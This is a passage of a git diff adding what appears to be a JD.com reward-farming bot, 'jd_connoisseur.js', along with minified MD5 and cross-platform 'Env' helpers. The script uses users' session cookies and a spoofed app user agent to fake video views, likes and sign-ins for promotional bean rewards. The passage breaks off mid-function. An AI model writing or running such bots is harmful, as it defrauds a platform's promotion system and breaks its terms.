n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +} + + + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_connoisseur.js b/jd_connoisseur.js new file mode 100644 index 0000000..1c913e4 --- /dev/null +++ b/jd_connoisseur.js @@ -0,0 +1,732 @@ +/* +内容鉴赏官 +更新时间:2021-09-09 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#内容鉴赏官 +15 3,6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js, tag=内容鉴赏官, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "15 3,6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js,tag=内容鉴赏官 + +===============Surge================= +内容鉴赏官 = type=cron,cronexp="15 3,6 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js + +============小火箭========= +内容鉴赏官 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_connoisseur.js, cronexpr="15 3,6 * * *", timeout=3600, enable=true + */ +const $ = new Env('内容鉴赏官'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let isLoginInfo = {} +$.shareCodes = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/'; +let agid = [], pageId, encodeActivityId, paginationFlrs, activityId +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // let res = await getAuthorShareCode('') + // if (!res) { + // $.http.get({url: ''}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + // await $.wait(1000) + // res = await getAuthorShareCode('') + // } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdConnoisseur() + } + } + // $.shareCodes = [...new Set([...$.shareCodes, ...(res || [])])] + // for (let i = 0; i < cookiesArr.length; i++) { + // if (cookiesArr[i]) { + // cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + // if (!isLoginInfo[$.UserName]) continue + // $.canHelp = true + // if ($.shareCodes && $.shareCodes.length) { + // console.log(`\n开始互助\n`) + // for (let j = 0; j < $.shareCodes.length && $.canHelp; j++) { + // console.log(`账号${$.UserName} 去助力 ${$.shareCodes[j].use} 的助力码 ${$.shareCodes[j].code}`) + // if ($.UserName === $.shareCodes[j].use) { + // console.log(`助力失败:不能助力自己`) + // continue + // } + // $.delcode = false + // await getTaskInfo("2", $.projectCode, $.taskCode, "2", $.shareCodes[j].code) + // await $.wait(2000) + // if ($.delcode) { + // $.shareCodes.splice(j, 1) + // j-- + // continue + // } + // } + // } else { + // break + // } + // } + // } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdConnoisseur() { + await getActiveInfo() + await $.wait(2000) + await getshareCode() +} + +async function getActiveInfo(url = 'https://prodev.m.jd.com/mall/active/2y1S9xVYdTud2VmFqhHbkcoAYhJT/index.html') { + let options = { + url, + headers: { + "Host": "prodev.m.jd.com", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + return new Promise(async resolve => { + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getActiveInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = data && data.match(/window\.performance.mark\(e\)}}\((.*)\);<\/script>/)[1] + data = JSON.parse(data) + pageId = data.activityInfo.pageId + encodeActivityId = data.activityInfo.encodeActivityId + paginationFlrs = data.paginationFlrs + activityId = data.activityInfo.activityId + for (let key of Object.keys(data.codeFloors)) { + let vo = data.codeFloors[key] + if (vo.boardParams && vo.boardParams.taskCode === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") { + agid = [] + agid.push(vo.materialParams.advIdVideo[0].advGrpId) + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("11", vo.boardParams.projectCode, vo.boardParams.taskCode) + } else if (vo.boardParams && vo.boardParams.taskCode === "4JHmm8nEpyuKgc3z9wkGArXDtEdh") { + agid = [] + agid.push(vo.materialParams.advIdKOC[0].advGrpId) + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("10", vo.boardParams.projectCode, vo.boardParams.taskCode) + } else if (vo.boardParams && vo.boardParams.taskCode === "2PbAu1BAT79RxrM5V7c2VAPUQDSd") { + agid = [] + agid.push(vo.materialParams.advIdKOC[0].advGrpId) + agid.push(vo.materialParams.advIdVideo[0].advGrpId) + console.log(`去做【${vo.boardParams.btnText}】`) + await getTaskInfo("5", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && (vo.boardParams.taskCode === "485y3NEBCKGJg6L4brNg6PHhuM9d" || vo.boardParams.taskCode === "2bpKT3LMaEjaGyVQRr2dR8zzc9UU")) { + console.log(`去做【${vo.boardParams.titleText}】`) + await getTaskInfo("9", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } else if (vo.boardParams && (vo.boardParams.taskCode === "3dw9N5yB18RaN9T1p5dKHLrWrsX" || vo.boardParams.taskCode === "CtXTxzkh4ExFCrGf8si3ePxGnPy" || vo.boardParams.taskCode === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y" || vo.boardParams.taskCode === "2wPBGptSUXNs3fxqgAtrV5MwkYEa")) { + await getTaskInfo("1", vo.boardParams.projectCode, vo.boardParams.taskCode) + await $.wait(2000) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getTaskInfo(type, projectId, assignmentId, helpType = '1', itemId = '') { + let body = {"type":type,"projectId":projectId,"assignmentId":assignmentId,"doneHide":false} + if (assignmentId === $.taskCode) body['itemId'] = itemId, body['helpType'] = helpType + if (assignmentId === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") body['agid'] = agid + return new Promise(async resolve => { + $.post(taskUrl('interactive_info', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getTaskInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (assignmentId === "2CCbSBbVWkFZzRDngs4F6q3YZ62o") { + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + let num = 0; + for (let i = data.data[0].viewedNum; i < data.data[0].viewNum; i++) { + let vo = data.data[0].videoDtoPageResult.list[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.articleDto.jump.id, 1) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + num = 0; + for (let i = data.data[0].evaluatedNum; i < data.data[0].evaluateNum; i++) { + let vo = data.data[0].videoDtoPageResult.list[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.articleDto.jump.id, 2) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "4JHmm8nEpyuKgc3z9wkGArXDtEdh") { + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + let res = await aha_card_list(type, data.data[0].projectId, data.data[0].assignmentId) + let num = 0; + for (let i = data.data[0].watchAlreadyCount; i < data.data[0].watchTotalCount; i++) { + let vo = res.data.cardList[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.id, 1) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + num = 0; + for (let i = data.data[0].likeAlreadyCount; i < data.data[0].likeTotalCount; i++) { + let vo = res.data.cardList[num] + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, vo.id, 2) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + num++ + } + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "2PbAu1BAT79RxrM5V7c2VAPUQDSd" || assignmentId === "3dw9N5yB18RaN9T1p5dKHLrWrsX" || assignmentId === "2gWnJADG8JXMpp1WXiNHgSy4xUSv" || assignmentId === "CtXTxzkh4ExFCrGf8si3ePxGnPy" || assignmentId === "2wPBGptSUXNs3fxqgAtrV5MwkYEa" || assignmentId === "u4eyHS91t3fV6HRyBCg9k5NTUid" || assignmentId === "4WHSXEqKZeGQZeP9SvqxePQpBkpS" || assignmentId === "4PCdWdiKNwRw1PmLaFzJmTqRBq4v" || assignmentId === "4JcMwRmGJUXptBYzAfUDkKTtgeUs" || assignmentId === "4ZmB6jqmJjRWPWxjuq22Uf17CuUQ" || assignmentId === "QGPPJyQPhSBJ57QcU8PdMwWwwCR" || assignmentId === "tBLY4YL4LkBwWj9KKq9BevHHvcP" || assignmentId === "4UFHr2rSLyS912riDWih6B8gMXkf") { + if (assignmentId !== "2PbAu1BAT79RxrM5V7c2VAPUQDSd") console.log(`去做【${data.data[0].title}】`) + if (data.code === "0" && data.data) { + if (data.data[0]) { + if (data.data[0].status !== "2") { + await interactive_done(type, data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + } else { + console.log(assignmentId === "2PbAu1BAT79RxrM5V7c2VAPUQDSd" ? `今日已签到` : `任务已完成`) + } + } else { + console.log(`无当前任务`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "485y3NEBCKGJg6L4brNg6PHhuM9d" || assignmentId === "2bpKT3LMaEjaGyVQRr2dR8zzc9UU") { + if (data.code === "0" && data.data) { + if (data.data[0].status !== "2") { + await sign_interactive_done(type, data.data[0].projectId, data.data[0].assignmentId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + await interactive_reward(type, data.data[0].projectId, data.data[0].assignmentId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === "Hys8nCmAaqKmv1G3Y3a5LJEk36Y") { + if (data.code === "0" && data.data) { + console.log(`去做【${data.data[0].title}】`) + if (data.data[0].status !== "2") { + await interactive_accept(type, data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + await $.wait((data.data[0].waitDuration * 1000) || 2000) + await qryViewkitCallbackResult(data.data[0].projectId, data.data[0].assignmentId, data.data[0].itemId) + } else { + console.log(`任务已完成`) + } + } else { + console.log(data.message) + } + } else if (assignmentId === $.taskCode) { + if (helpType === '1') { + if (data.code === "0" && data.data) { + if (data.data[0].status !== "2") { + console.log(`【京东账号${$.index}(${$.UserName})的内容鉴赏官好友互助码】${data.data[0].itemId}`) + $.shareCodes.push({ + 'use': $.UserName, + 'code': data.data[0].itemId + }) + } + } else { + console.log(data.message) + } + } else if (helpType === '2') { + if (data.code === "0" && data.data) { + if (data.data[0].code === "0") { + await interactive_done(type, $.projectCode, $.taskCode, itemId) + } else if (data.data[0].code === "103") { + $.canHelp = false + console.log(`助力失败:无助力次数`) + } else if (data.data[0].code === "102") { + console.log(`助力失败:${data.data[0].msg}`) + } else if (data.data[0].code === "106") { + $.delcode = true + console.log(`助力失败:您的好友已完成任务`) + } else { + console.log(JSON.stringify(data)) + } + } else { + console.log(data.message) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_done(type, projectId, assignmentId, itemId, actionType = '') { + let body = {"projectId":projectId,"assignmentId":assignmentId,"itemId":itemId,"type":type} + if (type === "5" || type === "2") body['agid'] = agid + if (type === "10" || type === "11") delete body["itemId"], body["actionType"] = actionType, body["contentId"] = itemId + return new Promise(resolve => { + $.post(taskUrl('interactive_done', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_done API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (type === "2") { + if (data.code === "0" && data.busiCode === "0") { + console.log(data.data.msg) + if (!data.data.success) $.canHelp = false + } else { + console.log(data.message) + } + } else { + if (data.code === "0" && data.busiCode === "0") { + if (type !== "10" && type !== "11") console.log(data.data.rewardMsg) + } else { + console.log(data.message) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function sign_interactive_done(type, projectId, assignmentId) { + let functionId = 'interactive_done' + let body = {"assignmentId":assignmentId,"type":type,"projectId":projectId} + let sign = await getSign(functionId, body) + return new Promise(resolve => { + $.post(taskPostUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sign_interactive_done API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_reward(type, projectId, assignmentId) { + return new Promise(resolve => { + $.post(taskUrl('interactive_reward', {"projectId":projectId,"assignmentId":assignmentId,"type":type}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_reward API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.code === "0" && data.busiCode === "0") { + console.log(data.data.rewardMsg) + } else { + console.log(data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function interactive_accept(type, projectId, assignmentId, itemId) { + return new Promise(resolve => { + $.post(taskUrl('interactive_accept', {"projectId":projectId,"assignmentId":assignmentId,"type":type,"itemId":itemId}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} interactive_accept API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function qryViewkitCallbackResult(encryptProjectId, encryptAssignmentId, itemId) { + let functionId = 'qryViewkitCallbackResult' + let body = {"dataSource":"babelInteractive","method":"customDoInteractiveAssignmentForBabel","reqParams":`{\"itemId\":\"${itemId}\",\"encryptProjectId\":\"${encryptProjectId}\",\"encryptAssignmentId\":\"${encryptAssignmentId}\"}`} + let sign = await getSign(functionId, body) + return new Promise(resolve => { + $.post(taskPostUrl(functionId, sign), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} qryViewkitCallbackResult API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data.code === "0" || data.msg === "query success!") { + console.log(`恭喜获得2个京豆`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getshareCode() { + let sid = randomString(40) + let body = 